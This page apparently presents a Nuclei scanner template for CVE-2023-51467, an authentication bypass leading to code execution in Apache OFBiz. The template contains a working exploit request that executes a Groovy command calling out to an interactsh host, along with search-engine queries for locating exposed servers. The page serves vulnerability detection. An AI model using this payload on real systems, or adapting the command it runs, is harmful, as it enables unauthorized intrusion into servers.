Apache OFBiz < 18.12.11 - Remote Code Execution

ID: CVE-2023-51467

Severity: critical

Author: your3cho

Tags: cve2023,cve,apache,ofbiz,rce

Description

The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)

YAML Source

id: CVE-2023-51467

info:
  name: Apache OFBiz < 18.12.11 - Remote Code Execution
  author: your3cho
  severity: critical
  description: |
    The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)
  reference:
    - https://lists.apache.org/thread/9tmf9qyyhgh6m052rhz7lg9vxn390bdv
    - https://www.openwall.com/lists/oss-security/2023/12/26/3
    - https://twitter.com/_0xf4n9x_/status/1740202435367543183
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51467
    - https://issues.apache.org/jira/browse/OFBIZ-12873
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-51467
    cwe-id: CWE-918
    epss-score: 0.58267
    epss-percentile: 0.97731
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query:
      - html:"OFBiz"
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - app="Apache_OFBiz"
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve2023,cve,apache,ofbiz,rce

http:
  - raw:
      - |
        POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=import+groovy.lang.GroovyShell%3B%0A%0AString+expression+%3D+%22'nslookup+{{interactsh-url}}'.execute()%22%3B%0AGroovyShell+gs+%3D+new+GroovyShell()%3B%0Ags.evaluate(expression)%3B

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: header
        words:
          - 'OFBiz.Visitor='
# digest: 490a0046304402206b13efb5197222d80b653e29b38fa25c534e4d4d9fe32cab5738b3b84222a7590220059a5c48fbe87081bbaab717a50a5bbf7d40ee4c52b1b208ae3da9b1de0384d5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-51467.yaml"

View on Github